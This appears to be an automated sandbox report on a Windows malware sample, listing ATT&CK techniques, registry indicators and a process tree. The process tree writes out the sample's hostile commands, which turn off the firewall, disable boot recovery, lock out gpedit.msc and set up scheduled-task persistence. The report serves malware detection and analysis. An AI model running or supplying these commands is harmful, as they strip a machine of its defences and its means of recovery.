68a3adb1c4f8d1b9849f56e05403f51d2fc1ec813e83b82099cc35c8104d5c0a

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	virus.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 18 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	virus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	winlogon.exe

UAC bypass 3 TTPs 9 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	winlogon.exe

Modifies boot configuration data using bcdedit 1 TTPs 19 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5796	bcdedit.exe
2308	bcdedit.exe
1000	bcdedit.exe
5584	bcdedit.exe
4776	bcdedit.exe
4324	bcdedit.exe
1544	bcdedit.exe
2888	bcdedit.exe
3140	bcdedit.exe
5812	bcdedit.exe
4660	bcdedit.exe
3900	bcdedit.exe
5244	bcdedit.exe
2388	bcdedit.exe
1740	bcdedit.exe
5688	bcdedit.exe
3396	bcdedit.exe
2932	bcdedit.exe
2972	bcdedit.exe

Disables RegEdit via registry modification 3 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	winlogon.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	virus.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	winlogon.exe

Disables Task Manager via registry modification
defense_evasion

Disables cmd.exe use via registry modification 6 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	virus.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	virus.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	winlogon.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	winlogon.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1"	winlogon.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "2"	winlogon.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5508	netsh.exe
4728	netsh.exe
3676	netsh.exe

Possible privilege escalation attempt 13 IoCs

exploit

pid	Process
696	takeown.exe
6004	icacls.exe
4904	icacls.exe
4340	icacls.exe
4960	icacls.exe
1420	takeown.exe
1000	icacls.exe
1448	icacls.exe
3664	icacls.exe
5764	takeown.exe
4664	icacls.exe
5588	icacls.exe
2712	icacls.exe

Uses Session Manager for persistence 2 TTPs 3 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

Modify Registry

persistence privilege_escalation

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute	winlogon.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute	virus.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute	winlogon.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WinService.exe	virus.exe

Executes a file named after a Windows system binary 1 TTPs 4 IoCs

The file runs from a user directory while carrying the name of an executable that normally only exists in System32.

Match Legitimate Name or Location

T1036.005

description	ioc	Process
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe	winlogon.exe
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe	winlogon.exe
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe	winlogon.exe
File opened (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe	winlogon.exe

Executes dropped EXE 4 IoCs

pid	Process
2600	winlogon.exe
2640	winlogon.exe
4092	winlogon.exe
1880	winlogon.exe

Loads dropped DLL 30 IoCs

pid	Process
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
3488	virus.exe
4092	winlogon.exe
4092	winlogon.exe
4092	winlogon.exe
4092	winlogon.exe
1880	winlogon.exe
4092	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
4092	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
1880	winlogon.exe
4092	winlogon.exe
4092	winlogon.exe
4092	winlogon.exe
4092	winlogon.exe

Modifies file permissions 1 TTPs 13 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1420	takeown.exe
1448	icacls.exe
5588	icacls.exe
696	takeown.exe
6004	icacls.exe
4960	icacls.exe
4664	icacls.exe
1000	icacls.exe
2712	icacls.exe
3664	icacls.exe
4904	icacls.exe
4340	icacls.exe
5764	takeown.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	virus.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	winlogon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	winlogon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	winlogon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	winlogon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSysCache = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\SystemCache\\winlogon.exe\""	virus.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\System32\Recovery	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

persistence privilege_escalation

Hidden Files and Directories

T1564.001

pid	Process
4240	cmd.exe
5068	cmd.exe
4816	cmd.exe
4632	cmd.exe
3212	cmd.exe
4068	cmd.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000c00000001c656-101.dat	pyinstaller

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 57 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5528	cmd.exe
5436	cmd.exe
4744	cmd.exe
4196	cmd.exe
5340	cmd.exe
3520	cmd.exe
4500	cmd.exe
3564	cmd.exe
2708	cmd.exe
2744	cmd.exe
200	cmd.exe
5480	cmd.exe
616	cmd.exe
1968	cmd.exe
3224	cmd.exe
1380	cmd.exe
4148	cmd.exe
5764	cmd.exe
1636	cmd.exe
4676	cmd.exe
4076	cmd.exe
5560	cmd.exe
2752	cmd.exe
3596	cmd.exe
1584	cmd.exe
4168	cmd.exe
2556	cmd.exe
2580	cmd.exe
1492	cmd.exe
5208	cmd.exe
252	cmd.exe
4680	cmd.exe
3880	cmd.exe
3496	cmd.exe
5744	cmd.exe
1164	cmd.exe
3008	cmd.exe
4820	cmd.exe
404	cmd.exe
1288	cmd.exe
944	cmd.exe
5864	cmd.exe
4232	cmd.exe
4344	cmd.exe
3384	cmd.exe
1404	cmd.exe
4584	cmd.exe
4428	cmd.exe
4380	cmd.exe
5548	cmd.exe
2420	cmd.exe
2060	cmd.exe
2264	cmd.exe
4432	cmd.exe
4160	cmd.exe
2996	cmd.exe
5712	cmd.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4408	schtasks.exe
1104	schtasks.exe
3084	schtasks.exe
4168	schtasks.exe
4116	schtasks.exe
4980	schtasks.exe
2024	schtasks.exe
2424	schtasks.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	696	takeown.exe
Token: SeTakeOwnershipPrivilege	1420	takeown.exe
Token: SeTakeOwnershipPrivilege	5764	takeown.exe
Token: SeShutdownPrivilege	3144	shutdown.exe
Token: SeRemoteShutdownPrivilege	3144	shutdown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4504	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6076 wrote to memory of 3488	6076	virus.exe	88
PID 3488 wrote to memory of 4632	3488	virus.exe	89
PID 3488 wrote to memory of 4148	3488	virus.exe	92
PID 3488 wrote to memory of 4428	3488	virus.exe	93
PID 3488 wrote to memory of 5712	3488	virus.exe	90
PID 3488 wrote to memory of 3008	3488	virus.exe	94
PID 3488 wrote to memory of 2060	3488	virus.exe	91
PID 3488 wrote to memory of 5708	3488	virus.exe	97
PID 5708 wrote to memory of 696	5708	cmd.exe	104
PID 5712 wrote to memory of 5796	5712	cmd.exe	105
PID 4428 wrote to memory of 2424	4428	cmd.exe	106
PID 3008 wrote to memory of 2308	3008	cmd.exe	208
PID 4148 wrote to memory of 3320	4148	cmd.exe	108
PID 2060 wrote to memory of 5508	2060	cmd.exe	109
PID 4632 wrote to memory of 3932	4632	cmd.exe	110
PID 3488 wrote to memory of 5208	3488	virus.exe	111
PID 3488 wrote to memory of 4820	3488	virus.exe	112
PID 3488 wrote to memory of 2264	3488	virus.exe	113
PID 3488 wrote to memory of 2744	3488	virus.exe	115
PID 3488 wrote to memory of 4168	3488	virus.exe	228
PID 2744 wrote to memory of 4408	2744	cmd.exe	121
PID 2264 wrote to memory of 5584	2264	cmd.exe	122
PID 5208 wrote to memory of 1000	5208	cmd.exe	160
PID 4820 wrote to memory of 6004	4820	cmd.exe	124
PID 3488 wrote to memory of 5764	3488	virus.exe	230
PID 3488 wrote to memory of 1164	3488	virus.exe	128
PID 3488 wrote to memory of 616	3488	virus.exe	130
PID 3488 wrote to memory of 5340	3488	virus.exe	131
PID 3488 wrote to memory of 4196	3488	virus.exe	132
PID 1164 wrote to memory of 4776	1164	cmd.exe	136
PID 4196 wrote to memory of 1104	4196	cmd.exe	138
PID 5340 wrote to memory of 3664	5340	cmd.exe	139
PID 3488 wrote to memory of 3212	3488	virus.exe	140
PID 3488 wrote to memory of 3496	3488	virus.exe	144
PID 3488 wrote to memory of 404	3488	virus.exe	146
PID 3212 wrote to memory of 4672	3212	cmd.exe	148
PID 2600 wrote to memory of 4092	2600	winlogon.exe	149
PID 404 wrote to memory of 4904	404	cmd.exe	150
PID 3496 wrote to memory of 2972	3496	cmd.exe	151
PID 2640 wrote to memory of 1880	2640	winlogon.exe	152
PID 3488 wrote to memory of 252	3488	virus.exe	153
PID 3488 wrote to memory of 2580	3488	virus.exe	155
PID 3488 wrote to memory of 4344	3488	virus.exe	156
PID 3488 wrote to memory of 4380	3488	virus.exe	159
PID 4344 wrote to memory of 1000	4344	cmd.exe	160
PID 2580 wrote to memory of 2388	2580	cmd.exe	162
PID 1880 wrote to memory of 5068	1880	winlogon.exe	163
PID 1880 wrote to memory of 3384	1880	winlogon.exe	164
PID 1880 wrote to memory of 5480	1880	winlogon.exe	165
PID 1880 wrote to memory of 1404	1880	winlogon.exe	167
PID 1880 wrote to memory of 4160	1880	winlogon.exe	168
PID 1880 wrote to memory of 2556	1880	winlogon.exe	169
PID 1880 wrote to memory of 1872	1880	winlogon.exe	173
PID 3488 wrote to memory of 200	3488	virus.exe	177
PID 3488 wrote to memory of 5864	3488	virus.exe	179
PID 3488 wrote to memory of 4240	3488	virus.exe	180
PID 5480 wrote to memory of 3676	5480	cmd.exe	182
PID 1404 wrote to memory of 5440	1404	cmd.exe	183
PID 4160 wrote to memory of 3084	4160	cmd.exe	261
PID 3384 wrote to memory of 4324	3384	cmd.exe	186
PID 2556 wrote to memory of 1544	2556	cmd.exe	282
PID 1872 wrote to memory of 1420	1872	cmd.exe	188
PID 5068 wrote to memory of 4976	5068	cmd.exe	189
PID 5864 wrote to memory of 5244	5864	cmd.exe	190

System policy modification 1 TTPs 21 IoCs

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	winlogon.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken = "0"	virus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	virus.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "0"	virus.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	winlogon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = "0"	winlogon.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 6 IoCs

Hidden Files and Directories

T1564.001

pid	Process
2236	attrib.exe
3932	attrib.exe
4672	attrib.exe
4508	attrib.exe
1288	attrib.exe
4976	attrib.exe

C:\Users\Admin\AppData\Local\Temp\卍 ALL VIRUS 卍\virus.exe
"C:\Users\Admin\AppData\Local\Temp\卍 ALL VIRUS 卍\virus.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:6076
- C:\Users\Admin\AppData\Local\Temp\卍 ALL VIRUS 卍\virus.exe
  "C:\Users\Admin\AppData\Local\Temp\卍 ALL VIRUS 卍\virus.exe"
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  - Modifies Windows Defender Real-time Protection settings
  - UAC bypass
  - Disables RegEdit via registry modification
  - Disables cmd.exe use via registry modification
  - Uses Session Manager for persistence
  - Creates a file in the Startup directory
  - Loads dropped DLL
  - Adds Run key to start application
  - Checks whether UAC is enabled
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache"
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\system32\attrib.exe
      attrib +h +s +r C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache
      4⤵
      Views/modifies file attributes
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} recoveryenabled No"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5712
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh advfirewall set allprofiles state off"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2060
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5508
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reagentc /info"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4148
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /info
      4⤵
      Drops file in Windows directory
      PID:3320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4428
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinSysCache_onlogon" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootmenupolicy Standard"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy Standard
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "takeown /f "C:\Windows\System32\gpedit.msc""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5708
  - - C:\Windows\system32\takeown.exe
      takeown /f "C:\Windows\System32\gpedit.msc"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {bootmgr} displaybootmenu No"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5208
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {bootmgr} displaybootmenu No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:1000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4820
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\gpedit.msc" /deny Everyone:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "bcdedit /set {current} bootstatuspolicy IgnoreAllFailures"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootstatuspolicy IgnoreAllFailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WinSysCache_onstart" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\SystemCache\winlogon.exe"" /sc onstart /rl highest /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2744
  - - C:\Windows\system32\schtasks.exe
